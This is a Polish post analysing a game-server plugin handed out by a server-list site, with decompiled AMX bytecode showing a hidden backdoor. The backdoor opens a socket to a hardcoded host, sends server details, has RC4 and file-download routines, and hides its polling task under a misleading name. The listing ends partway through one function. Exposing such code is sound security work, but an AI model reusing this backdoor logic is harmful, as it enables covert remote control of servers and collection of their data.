Lista serwerów serwery.w******o.com udostępnia swój plugin na stronie.
Który posiada w sobie download pliku TrackerUI.DLL oraz pluginu na serwer.
Zastanawiałem się co może być takiego w pluginie i trackerze.
Pierwsze analizy wykonałem w 2014 do tematu wróciłem w 2015.
Szybka analiza pluginu z 2014.
Profiler
type | name | calls | time / min / max
-------------------------------------------------------------------
n | register_plugin | 1 | 0.000004 / 0.000004 / 0.000004
n | get_cvar_pointer | 1 | 0.000001 / 0.000001 / 0.000001
n | get_pcvar_string | 1 | 0.000001 / 0.000001 / 0.000001
n | format | 1 | 0.000003 / 0.000003 / 0.000003
n | set_pcvar_string | 1 | 0.000010 / 0.000010 / 0.000010
n | precache_generic | 1 | 0.000007 / 0.000007 / 0.000007
p | plugin_init | 1 | 0.000000 / 0.000000 / 0.000000
p | plugin_precache | 1 | 0.000000 / 0.000000 / 0.000000
0 natives, 0 public callbacks, 2 function calls were not executed.
Jak narazie jest dobrze zwykłe wywołania kilku funkcji.
Prawdopodobnie plugin wygląda tak.
#include
#include
#define PLUGIN "New Plugin"
#define AUTHOR "Author"
#define VERSION "1.0"
public plugin_init(){
register_plugin(PLUGIN, VERSION, AUTHOR)
}
public plugin_precache(){
precache_generic( "bin/TrackerUI.DLL" );
}
Ciekawe jest wywołanie tych funkcji
n | get_cvar_pointer | 1 | 0.000001 / 0.000001 / 0.000001
n | get_pcvar_string | 1 | 0.000001 / 0.000001 / 0.000001
n | set_pcvar_string | 1 | 0.000010 / 0.000010 / 0.000010
Plugin był skompilowany z -d0 więc brakowało w nim informacji do debugowania.
Header pluginu z 2014
magic // AMXX
version // 768
sections // 1
cellsize // 4
disksize // 402
imagesize // 944
memsize // 17328
offs // 24
Próba dekompilacji pluginu z 2015.
Zmienne globalne:
0x00000460 new Base64DecryptionTable[256]
0x00000460 new Base64EncryptionTable[64]
0x00000120 new __l33tn3t_domain[11]
0x00000238 new bool:__l33tn3t_enabled
0x00000180 new __l33tn3t_lock_cvar_name[30]
0x0000023C new __l33tn3t_lock_cvar_pointer
0x0000014C new __l33tn3t_port
0x00000150 new __l33tn3t_rc_key[12]
0x000001F8 new __l33tn3t_separator
0x00000244 new __l33tn3t_socket
0x00000240 new __l33tn3t_socket_check_taskid
0x000001FC new __l33tn3t_tempdir[15]
0x0000011C new __l33tn3t_version
Forced loaded modules: sockets
Required libraries: sockets
Wszystkie symbole
codestart codeend address type name
0x00000130 0x000002C0 0xFFFFFFE8 local val temp_pos
0x000000FC 0x000002C0 0xFFFFFFEC local val total_len
0x000000B8 0x000002C0 0xFFFFFFF0 local val diff
0x00000084 0x000002C0 0xFFFFFFF4 local val with_len
0x00000078 0x000002C0 0xFFFFFFF8 local val total
0x00000014 0x000002C0 0xFFFFFFFC local val pos
0x00000008 0x000002C0 0x00000018 local ref with[0]
0x00000008 0x000002C0 0x00000014 local ref what[0]
0x00000008 0x000002C0 0x00000010 local val len
0x00000008 0x000002C0 0x0000000C local ref string[0]
0x00000350 0x00000410 0xFFFFFEFC local val Tmp[64]
0x00000300 0x0000042C 0xFFFFFFFC local val PC
0x0000086C 0x00000DC0 0xFFFFE95C local val plugin_status[64]
0x00000850 0x00000DC0 0xFFFFEA5C local val plugin_author[64]
0x00000834 0x00000DC0 0xFFFFEB5C local val plugin_version[64]
0x00000818 0x00000DC0 0xFFFFEC5C local val plugin_name[64]
0x000007FC 0x00000DC0 0xFFFFED5C local val plugin_file[64]
0x0000071C 0x00000DC0 0xFFFFEE5C local val tmp[128]
0x00000700 0x00000DC0 0xFFFFF05C local val data[1000]
0x00000680 0x00000DC0 0xFFFFFFFC local val error
0x00000F98 0x000010C8 0xFFFFEF78 local val file_md5[34]
0x00001404 0x000014A0 0xFFFFE964 local val i
0x000015A4 0x0000167C 0xFFFFE6D8 local val i
0x00001570 0x000016B8 0xFFFFE6DC local val file_name_len
0x00001550 0x000016B8 0xFFFFE6E0 local val temp_dir_path[128]
0x000014C8 0x00001750 0xFFFFE8E0 local val tmp_file_md5[34]
0x00001370 0x00001758 0xFFFFE968 local val file
0x00001164 0x00001760 0xFFFFE96C local val tmp_file_name[256]
0x00001148 0x00001760 0xFFFFED6C local val file_md5[34]
0x00001140 0x00001760 0xFFFFEDF4 local val segment_len
0x00001138 0x00001760 0xFFFFEDF8 local val current_segment
0x0000111C 0x00001760 0xFFFFEDFC local val file_name[128]
0x00001110 0x00001760 0xFFFFEFFC local val max_segment_len
0x00000E60 0x0000186C 0xFFFFF000 local val data[1000]
0x00000E44 0x0000186C 0xFFFFFFA0 local val command[24]
0x000019B8 0x00001B98 0xFFFFFBFC local val dir
0x00001998 0x00001B98 0xFFFFFC00 local val tmp_file_name[256]
0x00001BAC 0x00001C2C 0xFFFFFFFC local val i
0x00001BA0 0x00001C34 0x00000014 local ref src[0]
0x00001BA0 0x00001C34 0x00000010 local val tocopy
0x00001BA0 0x00001C34 0x0000000C local ref dst[0]
0x00001CD4 0x00001D54 0xFFFFEFDC local val i
0x00001C60 0x00001E70 0xFFFFEFE0 local val received_bytes
0x00001C40 0x00001E70 0xFFFFEFE4 local val packet[1031]
0x00001C34 0x00001E70 0x00000010 local ref data[1000]
0x00001C34 0x00001E70 0x0000000C local ref command[24]
0x00001E9C 0x00001F34 0xFFFFEFE4 local val i
0x00001E7C 0x000020C8 0xFFFFEFE8 local val packet[1030]
0x00001E70 0x000020C8 0x00000014 local val data_len
0x00001E70 0x000020C8 0x00000010 local ref data[0]
0x00001E70 0x000020C8 0x0000000C local ref command[0]
0x00002108 0x000023AC 0xFFFFFFF8 local val I
0x000020D4 0x000023C4 0xFFFFFFFC local val Len
0x000020C8 0x000023C4 0x0000000C local ref FileName[0]
0x00002410 0x0000280C 0xFFFFFBEC local val y
0x00002408 0x0000280C 0xFFFFFBF0 local val x
0x00002400 0x0000280C 0xFFFFFBF4 local val j
0x000023F8 0x0000280C 0xFFFFFBF8 local val i
0x000023F0 0x0000280C 0xFFFFFBFC local val b
0x000023D0 0x0000280C 0xFFFFFC00 local val S[256]
0x000023C4 0x00002814 0x00000018 local val BufferLen
0x000023C4 0x00002814 0x00000014 local ref Buffer[0]
0x000023C4 0x00002814 0x00000010 local val KeyLen
0x000023C4 0x00002814 0x0000000C local ref Key[0]
0x000023C4 0x00002814 0x00000460 global val Base64DecryptionTable[256]
0x000023C4 0x00002814 0x00000460 global val Base64EncryptionTable[64]
0x000023C4 0x00002814 0x000023C4 stock Encryption_RC4
0x000020C8 0x000023C4 0x000020C8 stock Validator_FileName
0x00000DEC 0x00001874 0x00000DEC stock __l33tn3t_check_socket
0x000004B0 0x00002814 0x00000120 global val __l33tn3t_domain[11]
0x000004B0 0x00002814 0x00000238 global val __l33tn3t_enabled
0x0000198C 0x00001BA0 0x0000198C stock __l33tn3t_flush_temp
0x000004B0 0x00002814 0x00000180 global val __l33tn3t_lock_cvar_name[30]
0x000004B0 0x00002814 0x0000023C global val __l33tn3t_lock_cvar_pointer
0x00001BA0 0x00001C34 0x00001BA0 stock __l33tn3t_memcpy
0x000005A0 0x00000DC8 0x000005A0 stock __l33tn3t_plugin_cfg
0x00001874 0x0000198C 0x00001874 stock __l33tn3t_plugin_end
0x000004B0 0x000005A0 0x000004B0 stock __l33tn3t_plugin_init
0x000004B0 0x00002814 0x0000014C global val __l33tn3t_port
0x000004B0 0x00002814 0x00000150 global val __l33tn3t_rc_key[12]
0x000004B0 0x00002814 0x000001F8 global val __l33tn3t_separator
0x00001C34 0x00001E70 0x00001C34 stock __l33tn3t_sock_recv
0x00001E70 0x000020C8 0x00001E70 stock __l33tn3t_sock_send
0x000004B0 0x00002814 0x00000244 global val __l33tn3t_socket
0x000004B0 0x00002814 0x00000240 global val __l33tn3t_socket_check_taskid
0x000004B0 0x00002814 0x000001FC global val __l33tn3t_tempdir[15]
0x000004B0 0x00002814 0x0000011C global val __l33tn3t_version
0x00000DC8 0x00000DEC 0x00000DC8 public amx_g_check_bomb_pev_interval
0x00000434 0x00000458 0x00000434 public plugin_cfg
0x00000458 0x0000047C 0x00000458 public plugin_end
0x000002C0 0x00000434 0x000002C0 public plugin_init
0x0000047C 0x000004B0 0x0000047C public plugin_precache
0x00000008 0x000002C0 0x00000008 stock replace_all
Zdekompilowany kod sekcji kodu
http://amxx.pl/pastebin/4wrct5n22f4z/
http://pastebin.com/g1cPa8dv
[spoiler title="Pełen kod"]
0x8 PROC ; stock replace_all(string[],len,what[],with[])
0xC BREAK
0x10 BREAK
; new pos
0x14 PUSH.C 0x0
0x1C BREAK
0x20 PUSH.S 0x14 ; what[]
0x28 PUSH.S 0xC ; string[]
0x30 PUSH.C 0x8
0x38 SYSREQ.C 0x0 ; contain
0x40 STACK 0xC ; free 3 cells
0x48 STOR.S.pri 0xFFFFFFFC ; pos
0x50 EQ.C.pri 0xFFFFFFFF
0x58 JZER 0x74
0x60 BREAK
0x64 ZERO.pri
0x68 STACK 0x4 ; free 1 cells
0x70 RETN
0x74 BREAK
; new total
0x78 PUSH.C 0x0
0x80 BREAK
; new with_len
0x84 STACK 0xFFFFFFFC ; allocate 1 cells
0x8C PUSH.S 0x18 ; with[]
0x94 PUSH.C 0x4
0x9C SYSREQ.C 0x1 ; strlen
0xA4 STACK 0x8 ; free 2 cells
0xAC STOR.S.pri 0xFFFFFFF4 ; with_len
0xB4 BREAK
; new diff
0xB8 STACK 0xFFFFFFFC ; allocate 1 cells
0xC0 PUSH.S 0x14 ; what[]
0xC8 PUSH.C 0x4
0xD0 SYSREQ.C 0x1 ; strlen
0xD8 STACK 0x8 ; free 2 cells
0xE0 MOVE.alt
0xE4 LOAD.S.pri 0xFFFFFFF4 ; with_len
0xEC SUB.alt
0xF0 STOR.S.pri 0xFFFFFFF0 ; diff
0xF8 BREAK
; new total_len
0xFC STACK 0xFFFFFFFC ; allocate 1 cells
0x104 PUSH.S 0xC ; string[]
0x10C PUSH.C 0x4
0x114 SYSREQ.C 0x1 ; strlen
0x11C STACK 0x8 ; free 2 cells
0x124 STOR.S.pri 0xFFFFFFEC ; total_len
0x12C BREAK
; new temp_pos
0x130 PUSH.C 0x0
0x138 BREAK
0x13C BREAK
0x140 PUSH.S 0x18 ; with[]
0x148 PUSH.S 0x14 ; what[]
0x150 LOAD.S.pri 0xFFFFFFFC ; pos
0x158 LOAD.S.alt 0x10 ; len
0x160 SUB.alt
0x164 PUSH.pri
0x168 LOAD.S.pri 0xFFFFFFFC ; pos
0x170 LOAD.S.alt 0xC ; string[]
0x178 IDXADDR
0x17C PUSH.pri
0x180 PUSH.C 0x10
0x188 SYSREQ.C 0x2 ; replace
0x190 STACK 0x14 ; free 5 cells
0x198 JZER 0x2A8
0x1A0 BREAK
0x1A4 INC.S 0xFFFFFFF8 ; total
0x1AC BREAK
0x1B0 LOAD.S.pri 0xFFFFFFF4 ; with_len
0x1B8 LOAD.S.alt 0xFFFFFFFC ; pos
0x1C0 ADD
0x1C4 STOR.S.pri 0xFFFFFFFC ; pos
0x1CC BREAK
0x1D0 LOAD.S.pri 0xFFFFFFF0 ; diff
0x1D8 LOAD.S.alt 0xFFFFFFEC ; total_len
0x1E0 SUB.alt
0x1E4 STOR.S.pri 0xFFFFFFEC ; total_len
0x1EC BREAK
0x1F0 LOAD.S.pri 0xFFFFFFFC ; pos
0x1F8 LOAD.S.alt 0xFFFFFFEC ; total_len
0x200 JSLESS 0x214
0x208 BREAK
0x20C JUMP 0x2A8
0x214 BREAK
0x218 PUSH.S 0x14 ; what[]
0x220 LOAD.S.pri 0xFFFFFFFC ; pos
0x228 LOAD.S.alt 0xC ; string[]
0x230 IDXADDR
0x234 PUSH.pri
0x238 PUSH.C 0x8
0x240 SYSREQ.C 0x0 ; contain
0x248 STACK 0xC ; free 3 cells
0x250 STOR.S.pri 0xFFFFFFE8 ; temp_pos
0x258 BREAK
0x25C LOAD.S.pri 0xFFFFFFE8 ; temp_pos
0x264 EQ.C.pri 0xFFFFFFFF
0x26C JZER 0x280
0x274 BREAK
0x278 JUMP 0x2A8
0x280 BREAK
0x284 LOAD.S.pri 0xFFFFFFE8 ; temp_pos
0x28C LOAD.S.alt 0xFFFFFFFC ; pos
0x294 ADD
0x298 STOR.S.pri 0xFFFFFFFC ; pos
0x2A0 JUMP 0x13C
0x2A8 BREAK
0x2AC LOAD.S.pri 0xFFFFFFF8 ; total
0x2B4 STACK 0x18 ; free 6 cells
0x2BC RETN
0x2C0 PROC ; public plugin_init()
0x2C4 BREAK
0x2C8 BREAK
0x2CC PUSH.C 0x68
0x2D4 PUSH.C 0x58
0x2DC PUSH.C 0x0
0x2E4 PUSH.C 0xC
0x2EC SYSREQ.C 0x3 ; register_plugin
0x2F4 STACK 0x10 ; free 4 cells
0x2FC BREAK
; new PC
0x300 STACK 0xFFFFFFFC ; allocate 1 cells
0x308 PUSH.C 0x84
0x310 PUSH.C 0x4
0x318 SYSREQ.C 0x4 ; get_cvar_pointer
0x320 STACK 0x8 ; free 2 cells
0x328 STOR.S.pri 0xFFFFFFFC ; PC
0x330 BREAK
0x334 LOAD.S.pri 0xFFFFFFFC ; PC
0x33C MOVE.alt
0x340 ZERO.pri
0x344 JSGEQ 0x410
0x34C BREAK
; new Tmp[64]
0x350 STACK 0xFFFFFF00 ; allocate 64 cells
0x358 ZERO.pri
0x35C ADDR.alt 0xFFFFFEFC
0x364 FILL 0x100 ; 64 cells
0x36C BREAK
0x370 PUSH.C 0x3F
0x378 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x380 PUSH.S 0xFFFFFFFC ; PC
0x388 PUSH.C 0xC
0x390 SYSREQ.C 0x5 ; get_pcvar_string
0x398 STACK 0x10 ; free 4 cells
0x3A0 BREAK
0x3A4 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3AC PUSH.C 0xC4
0x3B4 PUSH.C 0x3F
0x3BC PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3C4 PUSH.C 0x10
0x3CC SYSREQ.C 0x6 ; format
0x3D4 STACK 0x14 ; free 5 cells
0x3DC BREAK
0x3E0 PUSH.ADR 0xFFFFFEFC ; Tmp[64]
0x3E8 PUSH.S 0xFFFFFFFC ; PC
0x3F0 PUSH.C 0x8
0x3F8 SYSREQ.C 0x7 ; set_pcvar_string
0x400 STACK 0xC ; free 3 cells
0x408 STACK 0x100 ; free 64 cells
0x410 BREAK
0x414 PUSH.C 0x0
0x41C CALL 0x4B0 ; stock __l33tn3t_plugin_init()
0x424 STACK 0x4 ; free 1 cells
0x42C ZERO.pri
0x430 RETN
0x434 PROC ; public plugin_cfg()
0x438 BREAK
0x43C BREAK
0x440 PUSH.C 0x0
0x448 CALL 0x5A0 ; stock __l33tn3t_plugin_cfg()
0x450 ZERO.pri
0x454 RETN
0x458 PROC ; public plugin_end()
0x45C BREAK
0x460 BREAK
0x464 PUSH.C 0x0
0x46C CALL 0x1874 ; stock __l33tn3t_plugin_end()
0x474 ZERO.pri
0x478 RETN
0x47C PROC ; public plugin_precache()
0x480 BREAK
0x484 BREAK
0x488 PUSH.C 0xD4
0x490 PUSH.C 0x4
0x498 SYSREQ.C 0x8 ; precache_generic
0x4A0 STACK 0x8 ; free 2 cells
0x4A8 ZERO.pri
0x4AC RETN
0x4B0 PROC ; stock __l33tn3t_plugin_init()
0x4B4 BREAK
0x4B8 BREAK
0x4BC PUSH.C 0x180
0x4C4 PUSH.C 0x4
0x4CC SYSREQ.C 0x4 ; get_cvar_pointer
0x4D4 STACK 0x8 ; free 2 cells
0x4DC STOR.pri 0x23C ; __l33tn3t_lock_cvar_pointer
0x4E4 NOT
0x4E8 JZER 0x534
0x4F0 BREAK
0x4F4 PUSH.C 0x0
0x4FC PUSH.C 0x1A4
0x504 PUSH.C 0x248
0x50C PUSH.C 0x180
0x514 PUSH.C 0x10
0x51C SYSREQ.C 0x9 ; register_cvar
0x524 STACK 0x14 ; free 5 cells
0x52C STOR.pri 0x23C ; __l33tn3t_lock_cvar_pointer
0x534 BREAK
0x538 PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x540 PUSH.C 0x4
0x548 SYSREQ.C 0xA ; get_pcvar_num
0x550 STACK 0x8 ; free 2 cells
0x558 MOVE.alt
0x55C LOAD.pri 0x11C ; __l33tn3t_version
0x564 JSLEQ 0x598
0x56C BREAK
0x570 PUSH 0x11C ; __l33tn3t_version
0x578 PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x580 PUSH.C 0x8
0x588 SYSREQ.C 0xB ; set_pcvar_num
0x590 STACK 0xC ; free 3 cells
0x598 ZERO.pri
0x59C RETN
0x5A0 PROC ; stock __l33tn3t_plugin_cfg()
0x5A4 BREAK
0x5A8 BREAK
0x5AC PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x5B4 PUSH.C 0x4
0x5BC SYSREQ.C 0xA ; get_pcvar_num
0x5C4 STACK 0x8 ; free 2 cells
0x5CC MOVE.alt
0x5D0 LOAD.pri 0x11C ; __l33tn3t_version
0x5D8 JNEQ 0x620
0x5E0 BREAK
0x5E4 PUSH.C 0x0
0x5EC PUSH 0x23C ; __l33tn3t_lock_cvar_pointer
0x5F4 PUSH.C 0x8
0x5FC SYSREQ.C 0xB ; set_pcvar_num
0x604 STACK 0xC ; free 3 cells
0x60C BREAK
0x610 CONST.pri 0x1
0x618 STOR.pri 0x238 ; bool:__l33tn3t_enabled
0x620 BREAK
0x624 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0x62C NOT
0x630 JZER 0x644
0x638 BREAK
0x63C ZERO.pri
0x640 RETN
0x644 BREAK
0x648 PUSH.C 0x1FC
0x650 PUSH.C 0x4
0x658 SYSREQ.C 0xC ; mkdir
0x660 STACK 0x8 ; free 2 cells
0x668 BREAK
0x66C PUSH.C 0x0
0x674 CALL 0x198C ; stock __l33tn3t_flush_temp()
0x67C BREAK
; new error
0x680 PUSH.C 0x0
0x688 BREAK
0x68C PUSH.ADR 0xFFFFFFFC ; error
0x694 PUSH.C 0x2
0x69C PUSH 0x14C ; __l33tn3t_port
0x6A4 PUSH.C 0x120
0x6AC PUSH.C 0x10
0x6B4 SYSREQ.C 0xD ; socket_open
0x6BC STACK 0x14 ; free 5 cells
0x6C4 STOR.pri 0x244 ; __l33tn3t_socket
0x6CC BREAK
0x6D0 LOAD.pri 0x244 ; __l33tn3t_socket
0x6D8 MOVE.alt
0x6DC ZERO.pri
0x6E0 JSLESS 0x6FC
0x6E8 BREAK
0x6EC ZERO.pri
0x6F0 STACK 0x4 ; free 1 cells
0x6F8 RETN
0x6FC BREAK
; new data[1000]
0x700 STACK 0xFFFFF060 ; allocate 1000 cells
0x708 ZERO.pri
0x70C ADDR.alt 0xFFFFF05C
0x714 FILL 0xFA0 ; 1000 cells
; new tmp[128]
0x71C STACK 0xFFFFFE00 ; allocate 128 cells
0x724 ZERO.pri
0x728 ADDR.alt 0xFFFFEE5C
0x730 FILL 0x200 ; 128 cells
0x738 BREAK
0x73C PUSH.C 0x7F
0x744 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0x74C PUSH 0x11C ; __l33tn3t_version
0x754 PUSH.C 0xC
0x75C SYSREQ.C 0xE ; num_to_str
0x764 STACK 0x10 ; free 4 cells
0x76C BREAK
0x770 PUSH.C 0x0
0x778 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0x780 PUSH.C 0x3E7
0x788 PUSH.ADR 0xFFFFF05C ; data[1000]
0x790 PUSH.C 0x10
0x798 SYSREQ.C 0xF ; add
0x7A0 STACK 0x14 ; free 5 cells
0x7A8 BREAK
0x7AC ADDR.pri 0xFFFFF05C ; data[1000]
0x7B4 PUSH.pri
0x7B8 PUSH.ADR 0xFFFFF05C ; data[1000]
0x7C0 PUSH.C 0x4
0x7C8 SYSREQ.C 0x1 ; strlen
0x7D0 STACK 0x8 ; free 2 cells
0x7D8 BOUNDS 0x3E7
0x7E0 POP.alt
0x7E4 IDXADDR
0x7E8 MOVE.alt
0x7EC LOAD.pri 0x1F8 ; __l33tn3t_separator
0x7F4 STOR.I
0x7F8 BREAK
; new plugin_file[64]
0x7FC STACK 0xFFFFFF00 ; allocate 64 cells
0x804 ZERO.pri
0x808 ADDR.alt 0xFFFFED5C
0x810 FILL 0x100 ; 64 cells
; new plugin_name[64]
0x818 STACK 0xFFFFFF00 ; allocate 64 cells
0x820 ZERO.pri
0x824 ADDR.alt 0xFFFFEC5C
0x82C FILL 0x100 ; 64 cells
; new plugin_version[64]
0x834 STACK 0xFFFFFF00 ; allocate 64 cells
0x83C ZERO.pri
0x840 ADDR.alt 0xFFFFEB5C
0x848 FILL 0x100 ; 64 cells
; new plugin_author[64]
0x850 STACK 0xFFFFFF00 ; allocate 64 cells
0x858 ZERO.pri
0x85C ADDR.alt 0xFFFFEA5C
0x864 FILL 0x100 ; 64 cells
; new plugin_status[64]
0x86C STACK 0xFFFFFF00 ; allocate 64 cells
0x874 ZERO.pri
0x878 ADDR.alt 0xFFFFE95C
0x880 FILL 0x100 ; 64 cells
0x888 BREAK
0x88C PUSH.C 0x0
0x894 CONST.pri 0x24C
0x89C HEAP 0x4
0x8A4 MOVS 0x4
0x8AC PUSH.alt
0x8B0 PUSH.C 0x3F
0x8B8 PUSH.ADR 0xFFFFE95C ; plugin_status[64]
0x8C0 PUSH.C 0x3F
0x8C8 PUSH.ADR 0xFFFFEA5C ; plugin_author[64]
0x8D0 PUSH.C 0x3F
0x8D8 PUSH.ADR 0xFFFFEC5C ; plugin_name[64]
0x8E0 PUSH.C 0x3F
0x8E8 PUSH.ADR 0xFFFFED5C ; plugin_file[64]
0x8F0 PUSH.C 0xFFFFFFFF
0x8F8 PUSH.C 0x2C
0x900 SYSREQ.C 0x10 ; get_plugin
0x908 STACK 0x30 ; free 12 cells
0x910 HEAP 0xFFFFFFFC
0x918 BREAK
0x91C PUSH.C 0x0
0x924 PUSH.ADR 0xFFFFED5C ; plugin_file[64]
0x92C PUSH.C 0x3E7
0x934 PUSH.ADR 0xFFFFF05C ; data[1000]
0x93C PUSH.C 0x10
0x944 SYSREQ.C 0xF ; add
0x94C STACK 0x14 ; free 5 cells
0x954 BREAK
0x958 ADDR.pri 0xFFFFF05C ; data[1000]
0x960 PUSH.pri
0x964 PUSH.ADR 0xFFFFF05C ; data[1000]
0x96C PUSH.C 0x4
0x974 SYSREQ.C 0x1 ; strlen
0x97C STACK 0x8 ; free 2 cells
0x984 BOUNDS 0x3E7
0x98C POP.alt
0x990 IDXADDR
0x994 MOVE.alt
0x998 LOAD.pri 0x1F8 ; __l33tn3t_separator
0x9A0 STOR.I
0x9A4 BREAK
0x9A8 PUSH.C 0x0
0x9B0 PUSH.ADR 0xFFFFEC5C ; plugin_name[64]
0x9B8 PUSH.C 0x3E7
0x9C0 PUSH.ADR 0xFFFFF05C ; data[1000]
0x9C8 PUSH.C 0x10
0x9D0 SYSREQ.C 0xF ; add
0x9D8 STACK 0x14 ; free 5 cells
0x9E0 BREAK
0x9E4 ADDR.pri 0xFFFFF05C ; data[1000]
0x9EC PUSH.pri
0x9F0 PUSH.ADR 0xFFFFF05C ; data[1000]
0x9F8 PUSH.C 0x4
0xA00 SYSREQ.C 0x1 ; strlen
0xA08 STACK 0x8 ; free 2 cells
0xA10 BOUNDS 0x3E7
0xA18 POP.alt
0xA1C IDXADDR
0xA20 MOVE.alt
0xA24 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xA2C STOR.I
0xA30 BREAK
0xA34 PUSH.C 0x0
0xA3C PUSH.ADR 0xFFFFEB5C ; plugin_version[64]
0xA44 PUSH.C 0x3E7
0xA4C PUSH.ADR 0xFFFFF05C ; data[1000]
0xA54 PUSH.C 0x10
0xA5C SYSREQ.C 0xF ; add
0xA64 STACK 0x14 ; free 5 cells
0xA6C BREAK
0xA70 ADDR.pri 0xFFFFF05C ; data[1000]
0xA78 PUSH.pri
0xA7C PUSH.ADR 0xFFFFF05C ; data[1000]
0xA84 PUSH.C 0x4
0xA8C SYSREQ.C 0x1 ; strlen
0xA94 STACK 0x8 ; free 2 cells
0xA9C BOUNDS 0x3E7
0xAA4 POP.alt
0xAA8 IDXADDR
0xAAC MOVE.alt
0xAB0 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xAB8 STOR.I
0xABC BREAK
0xAC0 PUSH.C 0x0
0xAC8 PUSH.ADR 0xFFFFEA5C ; plugin_author[64]
0xAD0 PUSH.C 0x3E7
0xAD8 PUSH.ADR 0xFFFFF05C ; data[1000]
0xAE0 PUSH.C 0x10
0xAE8 SYSREQ.C 0xF ; add
0xAF0 STACK 0x14 ; free 5 cells
0xAF8 BREAK
0xAFC ADDR.pri 0xFFFFF05C ; data[1000]
0xB04 PUSH.pri
0xB08 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB10 PUSH.C 0x4
0xB18 SYSREQ.C 0x1 ; strlen
0xB20 STACK 0x8 ; free 2 cells
0xB28 BOUNDS 0x3E7
0xB30 POP.alt
0xB34 IDXADDR
0xB38 MOVE.alt
0xB3C LOAD.pri 0x1F8 ; __l33tn3t_separator
0xB44 STOR.I
0xB48 BREAK
0xB4C PUSH.C 0x0
0xB54 PUSH.ADR 0xFFFFE95C ; plugin_status[64]
0xB5C PUSH.C 0x3E7
0xB64 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB6C PUSH.C 0x10
0xB74 SYSREQ.C 0xF ; add
0xB7C STACK 0x14 ; free 5 cells
0xB84 BREAK
0xB88 ADDR.pri 0xFFFFF05C ; data[1000]
0xB90 PUSH.pri
0xB94 PUSH.ADR 0xFFFFF05C ; data[1000]
0xB9C PUSH.C 0x4
0xBA4 SYSREQ.C 0x1 ; strlen
0xBAC STACK 0x8 ; free 2 cells
0xBB4 BOUNDS 0x3E7
0xBBC POP.alt
0xBC0 IDXADDR
0xBC4 MOVE.alt
0xBC8 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xBD0 STOR.I
0xBD4 BREAK
0xBD8 PUSH.C 0x0
0xBE0 PUSH.C 0x7F
0xBE8 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xBF0 PUSH.C 0x0
0xBF8 PUSH.C 0x10
0xC00 SYSREQ.C 0x11 ; get_user_ip
0xC08 STACK 0x14 ; free 5 cells
0xC10 BREAK
0xC14 PUSH.C 0x0
0xC1C PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xC24 PUSH.C 0x3E7
0xC2C PUSH.ADR 0xFFFFF05C ; data[1000]
0xC34 PUSH.C 0x10
0xC3C SYSREQ.C 0xF ; add
0xC44 STACK 0x14 ; free 5 cells
0xC4C BREAK
0xC50 ADDR.pri 0xFFFFF05C ; data[1000]
0xC58 PUSH.pri
0xC5C PUSH.ADR 0xFFFFF05C ; data[1000]
0xC64 PUSH.C 0x4
0xC6C SYSREQ.C 0x1 ; strlen
0xC74 STACK 0x8 ; free 2 cells
0xC7C BOUNDS 0x3E7
0xC84 POP.alt
0xC88 IDXADDR
0xC8C MOVE.alt
0xC90 LOAD.pri 0x1F8 ; __l33tn3t_separator
0xC98 STOR.I
0xC9C BREAK
0xCA0 PUSH.C 0x7F
0xCA8 PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xCB0 PUSH.C 0x0
0xCB8 PUSH.C 0xC
0xCC0 SYSREQ.C 0x12 ; get_user_name
0xCC8 STACK 0x10 ; free 4 cells
0xCD0 BREAK
0xCD4 PUSH.C 0x0
0xCDC PUSH.ADR 0xFFFFEE5C ; tmp[128]
0xCE4 PUSH.C 0x3E7
0xCEC PUSH.ADR 0xFFFFF05C ; data[1000]
0xCF4 PUSH.C 0x10
0xCFC SYSREQ.C 0xF ; add
0xD04 STACK 0x14 ; free 5 cells
0xD0C BREAK
0xD10 PUSH.C 0xFFFFFFFF
0xD18 PUSH.ADR 0xFFFFF05C ; data[1000]
0xD20 PUSH.C 0x250
0xD28 PUSH.C 0xC
0xD30 CALL 0x1E70 ; stock __l33tn3t_sock_send(command[],data[],data_len)
0xD38 BREAK
0xD3C PUSH.C 0x0
0xD44 PUSH.C 0x304
0xD4C PUSH.C 0x0
0xD54 PUSH.C 0x30C
0xD5C PUSH.C 0x4097
0xD64 PUSH.C 0x1
0xD6C PUSH.C 0x8
0xD74 SYSREQ.C 0x13 ; random_num
0xD7C STACK 0xC ; free 3 cells
0xD84 STOR.pri 0x240 ; __l33tn3t_socket_check_taskid
0xD8C PUSH.pri
0xD90 PUSH.C 0x28C
0xD98 PUSH.C 0x3DCCCCCD
0xDA0 PUSH.C 0x1C
0xDA8 SYSREQ.C 0x14 ; set_task
0xDB0 STACK 0x20 ; free 8 cells
0xDB8 STACK 0x16A4 ; free 1449 cells
0xDC0 ZERO.pri
0xDC4 RETN
0xDC8 PROC ; public amx_g_check_bomb_pev_interval()
0xDCC BREAK
0xDD0 BREAK
0xDD4 PUSH.C 0x0
0xDDC CALL 0xDEC ; stock __l33tn3t_check_socket()
0xDE4 ZERO.pri
0xDE8 RETN
0xDEC PROC ; stock __l33tn3t_check_socket()
0xDF0 BREAK
0xDF4 BREAK
0xDF8 LOAD.pri 0x238 ; bool:__l33tn3t_enabled
0xE00 NOT
0xE04 JZER 0xE18
0xE0C BREAK
0xE10 ZERO.pri
0xE14 RETN
0xE18 BREAK
0xE1C LOAD.pri 0x244 ; __l33tn3t_socket
0xE24 MOVE.alt
0xE28 ZERO.pri
0xE2C JSLESS 0xE40
0xE34 BREAK
0xE38 ZERO.pri
0xE3C RETN
0xE40 BREAK
; new command[24]
0xE44 STACK 0xFFFFFFA0 ; allocate 24 cells
0xE4C ZERO.pri
0xE50 ADDR.alt 0xFFFFFFA0
0xE58 FILL 0x60 ; 24 cells
; new data[1000]
0xE60 STACK 0xFFFFF060 ; allocate 1000 cells
0xE68 ZERO.pri
0xE6C ADDR.alt 0xFFFFF000
